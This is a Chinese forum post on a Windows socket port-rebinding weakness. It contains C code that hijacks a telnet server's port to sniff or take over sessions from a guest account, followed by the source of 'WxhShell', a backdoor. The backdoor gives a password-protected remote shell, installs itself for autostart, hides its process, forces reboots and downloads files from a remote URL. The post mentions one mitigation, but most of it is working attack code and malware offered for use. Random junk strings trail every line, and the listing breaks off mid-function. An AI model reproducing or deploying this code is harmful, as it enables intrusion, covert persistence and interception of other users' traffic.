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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F)e*w:D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hv*n";V   
oZ6xHdPc4  
  saddr.sin_family = AF_INET; f;u;hQxs  
ScGmft3A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9Lz)SYd  
r_)-NOp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z('93vsO  
MBcOIy[&A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XP2=x_"y  
2!68W X  
  这意味着什么?意味着可以进行如下的攻击: 1I3u~J3]/  
l0D.7>aj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .NjdkHYR  
ec1g7w-n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  4EB$e?  
q(.%f3(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `H/HLCt  
+*0THol-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |&n dQ(!l  
}WI24|`zM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 86%weU/*  
n^&QOII@>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8x,;B_Zu  
9U}EVpD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~w]1QHA'f  
,eUMSg~P.7  
  #include mSQ!<1PM  
  #include p6=#LwL'  
  #include 4vqu(w8 L  
  #include    R<UjhCvx.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )STt3.  
  int main() _%zU ^aE  
  { k})9(Sy~  
  WORD wVersionRequested; 6\0GVM\  
  DWORD ret; {##A|{$3%  
  WSADATA wsaData; *y(2BrL>  
  BOOL val; T82=R@7  
  SOCKADDR_IN saddr; Kyl(  
  SOCKADDR_IN scaddr; dje3&a  
  int err; 2~J|x+  
  SOCKET s; {7/6~\'/@  
  SOCKET sc; KAsS= `  
  int caddsize; KMbBow3o*~  
  HANDLE mt; 1~7y]d?%  
  DWORD tid;   G$@X>)2N8  
  wVersionRequested = MAKEWORD( 2, 2 ); 82/iVm1  
  err = WSAStartup( wVersionRequested, &wsaData ); K=(&iq!VO  
  if ( err != 0 ) { q6_1`Ew  
  printf("error!WSAStartup failed!\n"); #UWQ (+F  
  return -1; ;'o>6I7Ph  
  } ?N|PgNu X  
  saddr.sin_family = AF_INET; @XIwp2A{+  
   sL/Lw WH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yp*kMC,3  
{Z?!*Ow  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z0Zl'  
  saddr.sin_port = htons(23); R2J3R5 S=[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $(CHwG-  
  { "R9kF-  
  printf("error!socket failed!\n"); ~{NDtB)  
  return -1; HPCA,*YR`  
  } *n[Fl  
  val = TRUE; k2+Z7#2n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 El+]}D"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n--`zx-['  
  { 3K0J6/mc  
  printf("error!setsockopt failed!\n"); &Y#9~$V=  
  return -1; g)p[A 4  
  } A|a\pL`@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pEaH^(I*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XqwdJND  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ovfw_  
%vThbP#mR|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  /KV@Ce\  
  { *l9Y]hinq  
  ret=GetLastError(); oNh .Zgg  
  printf("error!bind failed!\n"); x NC>m&T  
  return -1; :8QG$Ua1  
  } qzmZ/z96  
  listen(s,2); #M>E{w9  
  while(1) 8'quQCx*=  
  { "yz@LV1  
  caddsize = sizeof(scaddr); X>B/DT  
  //接受连接请求 $fn^i.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $N ]P#g?Q  
  if(sc!=INVALID_SOCKET) ;kFp)*i  
  { 23fAc"@ B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SwL\=nq+~  
  if(mt==NULL) EXi+pm  
  { 50Jr(OeU<  
  printf("Thread Creat Failed!\n"); ujSzm=_P  
  break; Bh.'%[',  
  } 'qD9k J`  
  } U!`'Qw;  
  CloseHandle(mt); * K7L5.  
  } q>X:z0H  
  closesocket(s); \ lKQ'_  
  WSACleanup(); |% kK?!e+-  
  return 0; )- \w  
  }   Umd!j,  
  DWORD WINAPI ClientThread(LPVOID lpParam) S:j0&*  
  { |UaI i^  
  SOCKET ss = (SOCKET)lpParam; Q6>vF)( -  
  SOCKET sc; V cL  
  unsigned char buf[4096]; eyG.XAP  
  SOCKADDR_IN saddr; Eg:p_F*lr  
  long num; 3HiW1*5W  
  DWORD val; lt]U?VZ   
  DWORD ret; p?h;Sv/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 INT2i8oU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I"!{HnSG`  
  saddr.sin_family = AF_INET; :({<"H)!'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4CCux4)N  
  saddr.sin_port = htons(23); JQCwI`%i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !K2[S J  
  { RAxz+1JT  
  printf("error!socket failed!\n"); &sWyh[`P  
  return -1; kr/h^e  
  } loB/w{r*x  
  val = 100; j AE0$u~.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,jWd?-NH  
  { z~_\onC  
  ret = GetLastError(); -jy"?]ve.  
  return -1; %xruPWT:k  
  } &Y>u2OZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +OmSR*fA0  
  { ig,|3(  
  ret = GetLastError(); izw}25SW  
  return -1; g=(+oK?  
  } mc=*wr$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) buFtLPe  
  { Rt|Hma  
  printf("error!socket connect failed!\n"); n\YxRs7 hF  
  closesocket(sc); 3{z|301<m  
  closesocket(ss); r?TK@^z  
  return -1; K6U>Qums  
  } {Vm36/a  
  while(1) mI0r,Z*+M  
  { MD)"r>k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (D{}1sZBQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O /&%`&2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l1[IXw?  
  num = recv(ss,buf,4096,0); M&FuXG%  
  if(num>0) f0s &9H  
  send(sc,buf,num,0); EHHxCq?  
  else if(num==0) H^g<`XEgw  
  break; (AYS>8O&  
  num = recv(sc,buf,4096,0); 1sjn_fPz  
  if(num>0) _XZ=4s  
  send(ss,buf,num,0); h"ylpv+  
  else if(num==0) !;gke,fB  
  break; *PEuaRDN  
  } pYG,5+g  
  closesocket(ss); A]9JbNV  
  closesocket(sc); bAiw]xi  
  return 0 ; j1 <1D@UO  
  } {p 0'Lc<3n  
B>ZPn6?y  
x,dv ~QU  
========================================================== q@9 i3*q;  
3Y-v1.^j  
下边附上一个代码,,WXhSHELL H~i],WD  
E2IVR]C2^  
========================================================== q1Sm#_7  
-#6*T,f0P(  
#include "stdafx.h" )mdNvb[*n  
];;w/$zke  
#include <stdio.h> `1@[uWl  
#include <string.h> DcA'{21  
#include <windows.h> !&lPdEc@T  
#include <winsock2.h> B6\VxSX4{  
#include <winsvc.h> ~P_kr'o  
#include <urlmon.h> ]Qr8wa>Z  
#pSOZX  
#pragma comment (lib, "Ws2_32.lib") oDUMoX%4s  
#pragma comment (lib, "urlmon.lib") oNZ W#<K  
[{F7Pc  
#define MAX_USER   100 // 最大客户端连接数 !@ {[I:5  
#define BUF_SOCK   200 // sock buffer S$52KOo  
#define KEY_BUFF   255 // 输入 buffer ]gksyxn3  
?8@*q6~8  
#define REBOOT     0   // 重启 C4tl4df9  
#define SHUTDOWN   1   // 关机 dA/o4co  
|vz;bJG  
#define DEF_PORT   5000 // 监听端口 =7fh1XnW  
"ru1;I  
#define REG_LEN     16   // 注册表键长度 e0HP~&BRs  
#define SVC_LEN     80   // NT服务名长度 %}X MhWn{  
!^fR8Tp9  
// 从dll定义API sVd_O[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; ZV^e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5R`6zhf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `YNC_r#tG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;/ KF3 %  
gc3 U/ jM  
// wxhshell配置信息 K)&XQ`&  
struct WSCFG { 8$UZL  
  int ws_port;         // 监听端口 Q+(:n)G_6E  
  char ws_passstr[REG_LEN]; // 口令 tq[",&K  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~@b}=+n  
  char ws_regname[REG_LEN]; // 注册表键名 \C#b@xLnX  
  char ws_svcname[REG_LEN]; // 服务名 ddDJXk)!0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y&f[2+?2NK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wmxw!   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $S8bp3)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OIty ]c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L"7` \4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h<ctW>6v  
l0\>zWLZZ9  
}; /%9p9$kFot  
AdOAh y2H  
// default Wxhshell configuration oy bzD  
struct WSCFG wscfg={DEF_PORT, ( L\G!pP.  
    "xuhuanlingzhe", w9<FX>@  
    1, f^sb0nU  
    "Wxhshell", l=~9 9mE  
    "Wxhshell", F>kn:I"X)  
            "WxhShell Service", `OReSg 2  
    "Wrsky Windows CmdShell Service", %GCd?cFF  
    "Please Input Your Password: ", D.R|HqZ  
  1, |uwteG5?$s  
  "http://www.wrsky.com/wxhshell.exe", TL{pc=eBo  
  "Wxhshell.exe" ku9F N  
    }; h;UdwmT  
Pq\V($gN  
// 消息定义模块 Z?v6pjZ?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I+?$4SC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u$,Wyi )L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rI66frbj  
char *msg_ws_ext="\n\rExit."; JvJ!\6Q@  
char *msg_ws_end="\n\rQuit."; k;AiG8jb  
char *msg_ws_boot="\n\rReboot..."; ae#HA[\0G  
char *msg_ws_poff="\n\rShutdown..."; 1fhK{9#  
char *msg_ws_down="\n\rSave to "; \BcJDdL  
]AA*f_!  
char *msg_ws_err="\n\rErr!"; r]EZ)qp^@  
char *msg_ws_ok="\n\rOK!"; X:-bAu}D  
PSqtZN  
char ExeFile[MAX_PATH];  ~uZLe\>K  
int nUser = 0; VfC[U)w*vm  
HANDLE handles[MAX_USER]; .y_bV=  
int OsIsNt; $CwTNm?  
d>b,aj(  
SERVICE_STATUS       serviceStatus; NT9- j#V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !na0Y  
hOLy*%  
// 函数声明 >`?+FDOJ,  
int Install(void); }%ZG> LG5J  
int Uninstall(void); 0/00 W6r0  
int DownloadFile(char *sURL, SOCKET wsh); [xs)u3b  
int Boot(int flag); QRZTT qG  
void HideProc(void); (:bCOEZ  
int GetOsVer(void); *ez~~ Y  
int Wxhshell(SOCKET wsl); (=tF2YBV  
void TalkWithClient(void *cs); > <  _Z  
int CmdShell(SOCKET sock); \ [^) WQ  
int StartFromService(void); q,,>:]f#  
int StartWxhshell(LPSTR lpCmdLine); $s(4?^GP  
t"bPKFRy9E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b}*@=X=4o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ))69a  
@1SKgbt>  
// 数据结构和表定义 031.u<_  
SERVICE_TABLE_ENTRY DispatchTable[] = 5nM9!A\D  
{ >-|90CSdSJ  
{wscfg.ws_svcname, NTServiceMain}, s?;<F  
{NULL, NULL} # pjyhH@  
}; ic{.#R.BY  
&0 )xvZ  
// 自我安装 -G<2R"Q#N  
int Install(void) )av'u.]%c  
{ IU'!?XVo  
  char svExeFile[MAX_PATH]; N" Jtg@w  
  HKEY key; iI@Gyq=  
  strcpy(svExeFile,ExeFile); am'p^Z @  
`\4JwiPo  
// 如果是win9x系统,修改注册表设为自启动 OxHw1k  
if(!OsIsNt) {  Vq)gpR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {cyo0-9nv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d,J<SG&L&  
  RegCloseKey(key); ~SR(K{nf#.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K0DXOVT\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E%2!C/+B  
  RegCloseKey(key); hzuMTKH9  
  return 0; ND55`KT4  
    } "J[i=~(  
  } 77&^$JpM  
} 400Tw`AiJ  
else { B-ri}PA  
G_,t\  
// 如果是NT以上系统,安装为系统服务 ?m9UhLeaS=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Va/@#=,q]  
if (schSCManager!=0) kG;eOp16R  
{ ^2;(2s  
  SC_HANDLE schService = CreateService 8T.5Mhx0jS  
  ( #SihedWi  
  schSCManager, 1l|A[ G  
  wscfg.ws_svcname, Uygw*+  
  wscfg.ws_svcdisp, w(e+o.:  
  SERVICE_ALL_ACCESS, 5Ckk5b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C>`.J_N  
  SERVICE_AUTO_START, leb^,1/D6  
  SERVICE_ERROR_NORMAL, M8",t{7  
  svExeFile, \BbOljM=  
  NULL, bUAR<R'E  
  NULL, K7[AiU_I  
  NULL, X@h^T> ["  
  NULL, +%le/Pg@  
  NULL X~)V)'R  
  ); TH(Lzrbg  
  if (schService!=0) x(3 I?#kE  
  { 32bkouq  
  CloseServiceHandle(schService); #EQx  
  CloseServiceHandle(schSCManager); k}f<'g<H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VNxpOoV=S  
  strcat(svExeFile,wscfg.ws_svcname); FG;<`4mY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B=Zukg1G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hV>4D&<  
  RegCloseKey(key); LE0J ;|1  
  return 0; 7k`*u) Q  
    } mS w?2ba  
  } An8%7xa7  
  CloseServiceHandle(schSCManager); '!yS72{$2  
} g@k#J"Q '[  
} q(jkit~`A  
vU8FHVytV  
return 1; 7i+!^Qj?y  
} 6L:tr LuQ  
}4\!7]FVYX  
// 自我卸载 ,yM}]pwlB  
int Uninstall(void) C$'D]fX  
{ fZw9zqg  
  HKEY key; 2Pem%HE~P  
oXQ<9t1(  
if(!OsIsNt) { =;k+g?.@I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ni"$[8U  
  RegDeleteValue(key,wscfg.ws_regname); tkdBlG]!  
  RegCloseKey(key); k binf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rekb?|{z  
  RegDeleteValue(key,wscfg.ws_regname); /+x#V!zM  
  RegCloseKey(key); wzDk{4U  
  return 0; 6HEqm>Yau  
  } Ha=_u+@  
} 'd2qa`H'}B  
} } :RT,<  
else { j*eUF-J1  
]8xc?*i8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ElEv(>G*  
if (schSCManager!=0) #LN5&i;s  
{ !sfXq"F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~|r'2V*  
  if (schService!=0)  O ':0V  
  { jsNH`"  
  if(DeleteService(schService)!=0) { =.qm8+  
  CloseServiceHandle(schService); Hyq@O 8  
  CloseServiceHandle(schSCManager); 't0+:o">:  
  return 0; v.l7Q  
  } Xx3 g3P  
  CloseServiceHandle(schService); w'oo-.k  
  } z_:eM7]jv  
  CloseServiceHandle(schSCManager); J0ZxhxX35  
} XSm"I[.g  
} {uaZ<4N.  
4GU/V\e|  
return 1; eq@am(#&kY  
} <THZ2`tTK3  
d}{LM!s  
// 从指定url下载文件 7xv4E<r2  
int DownloadFile(char *sURL, SOCKET wsh) yyY~ *Le  
{ `2x H7a-  
  HRESULT hr; {) :%Wn M9  
char seps[]= "/"; #gW /qJ  
char *token; c-4m8Kg?L  
char *file; b!'l\~`{i  
char myURL[MAX_PATH]; JQKC ;p  
char myFILE[MAX_PATH]; Ow cVPu_  
;ZQ- uz  
strcpy(myURL,sURL); D00G1:Ft(T  
  token=strtok(myURL,seps); ^wx%CdFm'P  
  while(token!=NULL) ~ON1Zw[+  
  { [x2JFS#4  
    file=token; ^CZCZ,v  
  token=strtok(NULL,seps); d5@X#3Hd  
  } ADv^eJJ|  
&a%WM   
GetCurrentDirectory(MAX_PATH,myFILE); a|DsHZ^6^  
strcat(myFILE, "\\"); Q^z=w![z  
strcat(myFILE, file); mR{CVU  
  send(wsh,myFILE,strlen(myFILE),0); Y7<zm}=(/  
send(wsh,"...",3,0); Vq3gceo'0A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zg -]sp]  
  if(hr==S_OK) &8[ZN$Xe"  
return 0; [>W"R1/  
else KQG-2oW  
return 1; EMVk:Vt]  
1R0ffP]  
} r\$6'+Si  
w)+wj[6 E  
// 系统电源模块 A6Ghj{~  
int Boot(int flag) =N YgGEFq.  
{ /y}"M  
  HANDLE hToken; T>}0) s  
  TOKEN_PRIVILEGES tkp; Bk?8 zYp  
T n"e   
  if(OsIsNt) { ,:D=gQ@`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {Ge+O<mD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z]^+^c_  
    tkp.PrivilegeCount = 1; D Irgq|8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 96(R'^kNX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QBy{| sQ`  
if(flag==REBOOT) { 4p.^'2m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )PR3s1S^  
  return 0; 0cHfxy3  
} O^5UB~  
else { KAd_zkUA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +7,8w  
  return 0; '.?^uM  
} ^>C 11v  
  } Zp?4uQ)[W  
  else { 7ftR 4  
if(flag==REBOOT) { ,4[dLWU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \gLxC  
  return 0; k`Nyi )AGe  
} lC0~c=?J  
else { Q"40#RFA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l , ..5   
  return 0; qu_)`wB  
} u*2fP]n  
} kw*)/$5]  
pet~[e%!  
return 1; JIzY,%`\  
} /Rj#sxtdw  
}g~g50ci  
// win9x进程隐藏模块 Kx~$Bor_!  
void HideProc(void) KU-'+k2s;p  
{ 11@]d ]v ,  
Q]@c&*_|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <3A0={En  
  if ( hKernel != NULL ) 4'',6KJ@  
  { yL6^\x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C,/O   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H@GE)I>^@  
    FreeLibrary(hKernel); o\Uu?.-<  
  } 1BJ<m5/1%  
6B0# 4Qrv  
return; Gav"C{G  
} H$!+A  
nZfs=@w:y  
// 获取操作系统版本 U@'F%nHw  
int GetOsVer(void) owvS/"@  
{ fAGctRGH  
  OSVERSIONINFO winfo; yub{8f;v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v5_7r%Hiw  
  GetVersionEx(&winfo); "+)K |9T#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OO nX`  
  return 1; g+xw$A ou  
  else 3X;{vO\a1  
  return 0; 8'A72*dhX  
} >H>gH2qp  
[$pmPr2  
// 客户端句柄模块 j(iuz^I  
int Wxhshell(SOCKET wsl) ~:4~2d|  
{ >{C\H.N  
  SOCKET wsh; t6+YXjXK  
  struct sockaddr_in client; B:< ]Hl$  
  DWORD myID; y` yZ R _  
kbYeV_OwM  
  while(nUser<MAX_USER) 44\cI]!{  
{ /`[!_4i  
  int nSize=sizeof(client); LvcuZZ`1a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P ZxFZvE  
  if(wsh==INVALID_SOCKET) return 1; ]ab#q=  
 W^Y#pn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mk!Dozb/  
if(handles[nUser]==0) lT'9u,6   
  closesocket(wsh); |Y},V_@d  
else sYqgXE.  
  nUser++; y500Xs[c  
  } 0w %[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j(eFoZz,  
P`S@n/}  
  return 0; &fwS{n;U  
} glE^t6)  
-Fxmsi  
// 关闭 socket =bLY /  
void CloseIt(SOCKET wsh) `S3>3  
{ N>|XS ,  
closesocket(wsh); (u hd "  
nUser--; Ql%qQ ZV  
ExitThread(0); n_Onr0EvO  
} c0_E_~  
V5mlJml2(  
// 客户端请求句柄 `]=oo%(h  
void TalkWithClient(void *cs) vi!YN|}\  
{ ['q&@_d7  
t{dSX?<nt  
  SOCKET wsh=(SOCKET)cs; AQss4[\Dx  
  char pwd[SVC_LEN]; } fZ`IOf  
  char cmd[KEY_BUFF]; I7n3xN&4"  
char chr[1]; ~6aCfbu%V  
int i,j; >\2:\wI  
%0,-.(h  
  while (nUser < MAX_USER) { x;LzG t:w  
2;$ k(x]  
if(wscfg.ws_passstr) { 1[;;sSp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WG u%7e]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ua5?(,E`']  
  //ZeroMemory(pwd,KEY_BUFF); _:g&,2bc  
      i=0; R@iUCT^$  
  while(i<SVC_LEN) { amWD-0V  
$w#r"= )  
  // 设置超时 QA#3bFZt1n  
  fd_set FdRead; i3VW1~.8  
  struct timeval TimeOut; e:w &(is  
  FD_ZERO(&FdRead); .8WXC   
  FD_SET(wsh,&FdRead); jS.g]k  
  TimeOut.tv_sec=8; \ HZ9S=  
  TimeOut.tv_usec=0; ?GA&f2]a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ORN6vX(1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "LhvzM-<8  
zYY$D.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *sw7niw  
  pwd=chr[0]; O#a6+W"U  
  if(chr[0]==0xd || chr[0]==0xa) { (X[CsaXt  
  pwd=0; N K]B?  
  break; V 9wI\0  
  }  m#vL*]c}  
  i++; w Y   
    } SqA J-_~  
Z8#Gwyinx  
  // 如果是非法用户,关闭 socket S8d8%R~1=h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5kypMHJm  
} nmU_N:Y  
20RXK1So  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V'Kgdj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bx4'en#  
@f+8%I3D  
while(1) { =sJ _yq0#R  
5yZTcS z  
  ZeroMemory(cmd,KEY_BUFF); -]uUYe c  
I<td1Y1q  
      // 自动支持客户端 telnet标准   y&m0Lz53Z  
  j=0; >'uU)Y {  
  while(j<KEY_BUFF) { }A=y=+4 j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4+$b~ u  
  cmd[j]=chr[0]; #oeG!<Mn  
  if(chr[0]==0xa || chr[0]==0xd) { {66sB{P  
  cmd[j]=0; |'O[7uT  
  break; TjMe?p  
  } h%; e0Xz|  
  j++; X?:o;wB  
    } IP`6bMd  
/ $  :j  
  // 下载文件 OLGBt  
  if(strstr(cmd,"http://")) { 2&'|Eqk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7uorQfR?  
  if(DownloadFile(cmd,wsh)) |BT MJ:B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =]`lN-rYw  
  else u]-_<YZ'B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1n5(S<T  
  } @`opDu!  
  else { :2 >hoAJJ  
0Sq][W=  
    switch(cmd[0]) { B vo5-P6XY  
  >(w2GD?  
  // 帮助 `afIYXP  
  case '?': { U[L9*=P;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RO;Bl:x4  
    break; p(;U@3G  
  } =gfI!w  
  // 安装 ?"#%SKm  
  case 'i': { QxuhGA  
    if(Install()) p.I.iAk%G^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7(M(7}EKA  
    else w=]Ks'C]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %W,D;?lEo>  
    break; X"gCR n%tn  
    } A[IL H_w  
  // 卸载 7cAXd#sI  
  case 'r': { f<=Fsl  
    if(Uninstall()) ]<(]u#g_d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2B &go  
    else _lzyMEdr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LMi:%i%\  
    break; 9a\nszwa  
    } JO=[YoTr  
  // 显示 wxhshell 所在路径 |(m oWY=  
  case 'p': { 2?m.45`  
    char svExeFile[MAX_PATH]; :j|IP)-f  
    strcpy(svExeFile,"\n\r"); gqXS~K9t  
      strcat(svExeFile,ExeFile); 6S6f\gAM  
        send(wsh,svExeFile,strlen(svExeFile),0); <FMq>d$\  
    break; [b{CkX06  
    } )"f N!9,F  
  // 重启 g%F"l2M  
  case 'b': { g (VNy@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0;S,tJg  
    if(Boot(REBOOT)) /@AEJ][$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Je9,dd6  
    else { /bj <Ft\  
    closesocket(wsh); o"wXIHUmV  
    ExitThread(0); M/x>51<  
    } qq)0yyL r  
    break; 3lV^B[$  
    } Pe C7  
  // 关机 PH"hn]  
  case 'd': { Vpy 2\wZWb  
